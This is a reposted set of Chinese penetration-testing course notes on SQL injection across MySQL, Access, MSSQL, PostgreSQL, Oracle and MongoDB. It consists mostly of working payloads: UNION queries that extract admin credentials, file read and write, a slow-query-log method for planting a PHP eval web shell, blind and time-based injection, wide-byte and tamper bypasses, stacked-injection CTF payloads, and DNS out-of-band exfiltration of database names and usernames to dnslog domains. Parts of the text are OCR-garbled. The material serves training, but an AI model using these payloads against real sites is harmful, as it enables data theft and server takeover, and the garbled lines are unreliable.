当前位置:   article > 正文

【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训笔记(WEB攻防24-30 -SQL注入)_小迪安全2022课件

小迪安全2022课件

第24天 WEB攻防-通用漏洞&SQL注入&MYSQL跨库&ACCESS偏移

知识点:

1、脚本代码与数据库前置知识
2、Acce33数据库注入-简易偏移
3、MYSQL数据库注入-简易&权限跨库

#前置知识:
-SQL工注入漏洞产生原理分析
-SQL工注入漏洞危害利用分析
-脚本代码与数据库操作流程
-数据库名,表名,列名,数据
-数据库类型,数据库用户,用户权限

为了网站和数据库的安全性,MYSQL内置有OOT最高用户,划分等级,每个用户对应管理
一个数据库,这样保证无不关联,从而不会影响到其他数据库的运行。
MYSQL两种思路:
1、非ROOT的注入攻击:常规类的猜解
2、RO0T用户的注入攻击:文件读写操作,跨库查询注入等

MYSQL5.o以上版本:自带的数据库名information schema
information schema:存储数据库下的数据库名及表名,列名信息的表
获取相关数据:
l、数据库版本-看是否符合information schemai查询 version()
2、数据库用户-看是否符合ROOT型注入攻击 user()
3、当前操作系统-看是否支持大小写或文件路径选择 @@version_compile_os()
4、数据库名 为后期查询表名和列名做准备 database()
ROoT类型攻击-猜解数据,文件读写,跨库查询
获取当前数据库下面的表名信息:
UNION SELECT table name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information schema.tables where table schema=‘syguestbook’
获取表名syadminuser的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information_schema.columms where table_name='sy_adminuser’I
and table schema=‘syguestbook’
获取指定数据:
UNION SELECT username,password,
3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy adminuser
跨库注入:实现当前网站跨库查询其他数据库对应网站的数据
获取当前mysq1下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information_schema.schmata
获取数据库名xhcms下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information schema.tables where table_schema=‘xhcms’
获取数据库名xhcms下的表manage下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from information schema.columns where table_name='manage’and
table schema='xhcms
获取指定数据:
UNI0 N SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
from xhcms

演示案例

ASP+Access-简易注入-字典猜解
由于access数据库特性导致这个SQL注入是需要借助字典去猜解表名和列名的,那么就会
出现表名或列名猜解不到,可以自定义社工字典或采用偏移注入。
ASP+Access-偏移注入-报错显示
偏移注入就是解决表名已知,列名未知的情况!
PHP+MYSOL-简易注入-存储特性
使用高权限账户可以对数据库进行读取和写入
PHP+MYSOL-跨库注入-权限属性
使用高权限账户可以实现对mysql其他数据库进行注入

第25天 WEB攻防-通用漏洞&SQL读写注入&MYSQL&MSSQL&PostgreSQL

知识点:

1、SQL注入-MYSQL数据库
2、SQL注入-MSSQ数据库
3、SQL注入-PostgreSQL数据库

演示案例:

MYSQL-root高权限读写注入
PostgreSQL-高权限读写注入
MSSQL-sa高权限读写执行注入
结尾彩蛋某Q牌违法登陆框注入

#详细点:
Access无高权限注入点-只能猜解,还是暴力猜解
MYSQL,PostgreSQL,MSSQL高权限注入点-可升级读写执行等
读取文件:
UNION SELECT1,load file(‘d:w.txt),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
写入文件:
UNION SELECT 1,‘xxxx’,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile ‘d:/www.txt’
-路径获取:phpinfo,报错,字典等
-无法写入:secure_fle_priv突破 需要支特SQL执行环境,没有就需要借助
phpmyadmin3或能够直接连上对方数据库进行绕过
set global slow_query_log=1; 启用日志慢记录
set global slow.query.log_fle=‘shelli路径’; 将操作记录写入到执行路径文件
select’<?php eval($_GET[A])?>'or SLEEP(11); 将后门语句执行写入到慢日志文件

#PostgreSQL-高权限读写注入
测列数:
order by 4
and 1=2 union select null,null,null,null
测显位:第2,3

and1=2 union select’nul’,null,null,null错误
and1=2 union select null,.‘nul’,null,null正常
and 1=2 union select null,null,‘null’,nullE
and1=2 union select null,.null,null,'nul’错误
获取信息:
and 1=2 UNION SELECT null,version(,null,null
and 1=2 UNION SELECT null,current user,null,null
and 1=2 union select null,current database(),null,null
获取数据库名:
and 1=2 union select null,string_agg(datname,),null,null from pg_database

#MSSQL-sa高权限读写执行注入
测列数:
order by 4
and 1=2 union all select null.null.null,null
测显位:
and 1=2 union all select null.1.null.null
and 1=2 union all select null.null,'s’null
获取信息:
@@version获取版本信息
db name(0当前数据库名字
user、system_user,current user,user name获取当前用户名
@@SERVERNAME获取服务器主机信息
and 1=2 union all select null,db_name(),null,null

第26天 WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongo…

知识点

#SQL注入课程体系:
1.数据库注入-access mysql mssql oracle mongodb postgresql等
2.数据类型注入-数字型字符型搜索型加密型(base64json)等
3.提交方式注入-getpost cookie http头等
4.查询方式注入-查询增加删除更新堆叠等
5.复杂注入利用-二次注入dnslog注入绕过bypass等
#SQLMAP
-什么是SQLMAP?
-它支持那些数据库注入?
-它支持那些SQL注入模式?
-它支持那些其他不一样功能?
-使用SQLMAP一般注入流程分析?
(寻找判断注入点–数据库类型-当前账户权限、数据库名称等信息)

演示案例:

数据库注入-联合猜解-Oracle&Mongodb
数据库注入-SQLMAP-DB2&SQLite&Sybase
数据库注入-SQLMAP数据猜解&高权限读写执行
#Oracle
参考:https://www.cnblogs.com/peterpant0707007/p/8242119.html
测回显:and1=2 union select’1’,2 from dual
and 1=2 union select’1’,(select table_name from user_tables where rownum=1)
爆库:and 1=2 union select’1’,(select table name from user_tables where rownum=1)
from dual
模糊爆库:and1=2 union select’1’,(select table_name from user_.tables where
rownum=1 and table name like ‘%user%’)from dual
y爆s列名:and1=2 union select’1’,(select column_name from all_tab_columns where
rownum=1 and table_name=‘sns_users’)from dual
爆其他列名:and1=2 union select’1’,(select column_name from all_tab_columns where
rownum=1 and table_name='sns_users’and column_name not in(‘USER_NAME’))from
dual

#Mgngodb看代码
参考:https://www.runoob.com/mongodb/mongodb-query.html
测▣显:/new_list.php?id=1’;return(《[title:1,content:2
爆库:/new_Iist.php?id=1’})return({title:tojson(db),content::'1
/new_list.php?id=1));return (title:tojson(db.getCollectionNames()),content:'1
爆字段:/new_Iist.php?id=1 return(《itle:tojson(db.Authority_.confidential.find()
[0]),content:'1
db.getCollection Names()返回的是数组,需要用tojson转换为字符串。
db.Authority_.confidential是当前用的集合(表),find函数用于查询,0是第一条数据

#SQLMAP使用
-sqlmap数据库注入数据猜解
-sqlmap高权限注入读写执行
-sqlmao高权限注入联动MSF

手册:https://www.cnblogs.com/bmjoker/p/9326258.html

第27天 WEB攻防-通用漏洞&SQL注入&Tamper脚本&Base64&Json&md5等

知识点:

1、数据表现格式类型注入
2、字符转义绕过-宽字节注入
3、数字&字符&搜索&编码&加应等

#参考资料:
https://www.cnblogs.com/bmjoker/p/9326258.html

演示案例:

本地源码数字&字符&搜索&编码&JSON

数字型 0-9 字符型 a-z中文标点符号加入了单引号(单引号闭合 1‘ and 1=1 --+)
搜索型 在基础上又加入的通配符(%’闭合)
编码型 数据以编码值传递 加密型 数据以加密后的密文去传递(对注入语句进行加解密后代入)
格式型 json (单引号闭合 1‘ and 1=1 --+) (需要按照类型进行闭合或加解密构造符合数据库查询的条件去输入)
数据进行编码接受处理: 发送编码值,对方常会进行解码后带入数据在进行SQL执行
在注入的时候,我们也要尝试对注入的Payloadi进行编码后提交
#sqlmap在使用时可以判断出注入点类型是否为数字型、搜索型或者字符型,但是对编码型的注入无法自动判断,所以需要引用tamper脚本进行编码 例如对参数进行base64编码的网站进行sql注入测试的时候可以使用 --tamper=enbase64.py进行加密

墨者靶场字符转义处理防护-宽字节注入

网站会对传入的参数进行部分转译,比如:http://localhost:8081/blog/news.php?gtpl=simple’order
by 17–+ 转译为selectfrom sy_guestbook where gTpl=‘simple’ order by17–+ 致使查询失败
在构造闭合前输入 %df 会使查询变为select
from sy_guestbook where gTpl=‘simple♦’ order by 17–+ (方块在此处为2个字节会覆盖此处的\从而实现绕过)
在PHP中存在魔术引号开关magic_quotes_gpc,开启后会对传入参数中的 单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线
所以在面对宽字节注入是可以使用sqlmap中的–tamper=unmagciquotes.py脚本进行绕过

真实WEB-数据编码接受处理-base64注入

#sqlmap在使用时可以判断出注入点类型是否为数字型、搜索型或者字符型,但是对编码型的注入无法自动判断,所以需要引用tamper脚本进行编码 例如对参数进行base64编码的网站进行sql注入测试的时候可以使用 --tamper=enbase64.py进行加密

真实WEB-JSON数据格式&MD5加密数据
工具脚本-SQLMAP-脚本Tamper使用指南

第28天 WEB攻防-通用漏洞&SQL注入&HTTP头XFF&COOKIE&POST清求

知识点:

1、数据请求方式-GET&POST&COOKIE等
2、常见功能点请求方式-用户登录&1P记录等
3、黑盒白盒注入测试要点-SQLMAP注入参数

补充点:
黑盒测试:功能点分析
白盒测试:功能点分析&关键代码追踪

1.数据库注入-access mysql mssql oracle mongodb postgresq等
2.数培类型注入-数字型字符型搜索型加密型(base64js0n)等
3.提交方式注入-get post cookie http头等
4查询方式注入-查询增加删测除更新堆叠等
5.复杂注入利用-二次注入dnslog注入绕过bypass等

演示案例:

GET&POST&COOKIE&SERVER
实例黑盒-后台表单登陆框-POST注入
实例白盒-ESPCMS-商品购买-COOKIE注入
实例白盒-ZZCMS-IP记录功能-HTTP头XFF注入
此处登录失败会从全局变量获取客户端ip–当密码失败次数过多禁止登录–通过抓包修改x-for-word字段绕过

#部分语言接受代码块
<?php
header("Content-Type:text/html;charset=utf-8");
Sget=$_GET['g'];
Spost=$_POST['p]:I
Scookie=$_COOKIE['c'];
Srequest=&_ REQUESTT'r]:
Shost=S SERVER['HTTP HOST];
Suser agent=$SERVER["HTTP USER AGENT].
Sip=$SERVER[HTTP X FORWARDED FOR"]:
echo $get."<hr>"
echo $post."<hr>":
echo $cookie."<hr>"
echo $request."<hr>":
echo $host."<hr>";
echo $user agent."<hr>";
echo $ip;
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

第29天 WEB攻防-通用漏洞&SQL注入&增删改查&盲注&延时&布尔&报错

知识点:

1、明确查间方式注入Payload
2、明确查询方式注入产生功能
3、明确SQL言注延时&布尔&报错
#详细点:
盲注就是在注入过程中,获取的数据不能回显至前端页面。
此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
我们可以知道盲注分为以下三类:
基于布尔的SQL直注逻辑判断
regexp,like,ascii,left,ord.mid
基于时间的SQL盲注延时判断
if,sleep
基于报错的SQL盲注报措回显
floor,updatexml,extractvalue
https://www.jianshu.com/p/bc35f8dd4f7c

#参考:
like ‘ro% #判断0或0.是否成立
regexp "xiaod[a-Z]’ #匹配xiaodi及xiaodi.等
if(条件,5,0) #条件成立返回5反之返回0
sleep(5) #SQL语句延时执行5秒
mid(a.b.c) #从位置b开始,载取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database0,1),database0 #let(a,b)从左侧截取a的前b位
length(database0)=8 #判折数据库database(O名的长度
ord=ascii ascii(X)=97 #判新x的asciit码是否等于97

SQL查询方式汪入
select insert update delete orderby等

演示案例:

SQL-盲注&布尔&报错&延时
查-select-xhcms-布尔盲注
插入-insert-xhcms-报错盲注
更新-update-xhcms-=报错盲注
删除-delete-kkcms-延时盲注

#SQL-盲注&布尔&报措&延时 PHP开发项目输出结果&开启报措
基于延时: /blog/news.php?id=1 and if(1=1,sleep(5),0) 不需要输出
通过if后面的判断语句去猜解信息,比如if(length(database())=1,sleep(5),0)判断数据库长度是否为1,若猜解正确则返回时间延时5秒
基于布尔: /blog/news.php?id=1 and length(database()=7 需要有数据库输出判断标注
基于报错:/blog/news.php?id=2 and updatexml(1,concat(Ox7e,(SELECT@@version),0x7e).1)
需要有数据库输出报错处理

第30天 WEB攻防-通用漏洞&SQL注入&CTF&二次&堆叠&DNS带外

知识点:

1、数据库堆叠注入
根据数据库类型决定是否支持多条语句执行
2、数据库二次注入
应用功能逻辑涉及上导致的先写入后组合的注入
3、数据库Dnslog注入
解决不回显(反向连接),SQL注入,命令执行,SSRF等
4、黑盒模式分析以上
二次注入:插入后调用显示操作符合
堆叠注入:判断注入后直接调多条执行
DNS注入:在注入上没太大利用价值,其他还行
在这里插入图片描述

演示案例:

二次注入-74CMS&网鼎杯2018 Unfinish
堆叠注入-数据库类型&强网杯2019随便注
DNS利用-平台介绍&SQL注入&命令执行等

#二次注入-74CMS&网鼎杯2018 Unfinish
CTF-I网鼎杯2018 Unfinish
CMS-74CMS个人会员中心
#堆叠注入数据库类型&强网杯2019随便注
根据数据库类型决定是否支持多条语句执行
支持堆叠数据库类型:MYSQL MSSQL Postgresql等
';show databases;
';show tables;
';show columns from`1919810931114514:
';select flag from ‘1919810931114514’:
';SeT
@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460:p
repare execsgl from @a;execute execsql;

#DNS利用-平台介绍&SQL注入&命令执行等
1.平台
http://www.dnslog.cn
http://admin.dnslog.link
http://ceve.io
2.应用场景:
解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL注入:
select load file(concat("‘,(select database(),.7logee.dnslog.cnllaa’));
and (select load_file(concat(//,(select database()),‘.69knl9.dnslog.cn/abc’)))
命令执行:
ping %USERNAME%.7logee.dnslog.cn

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小丑西瓜9/article/detail/481935
推荐阅读
相关标签
  

闽ICP备14008679号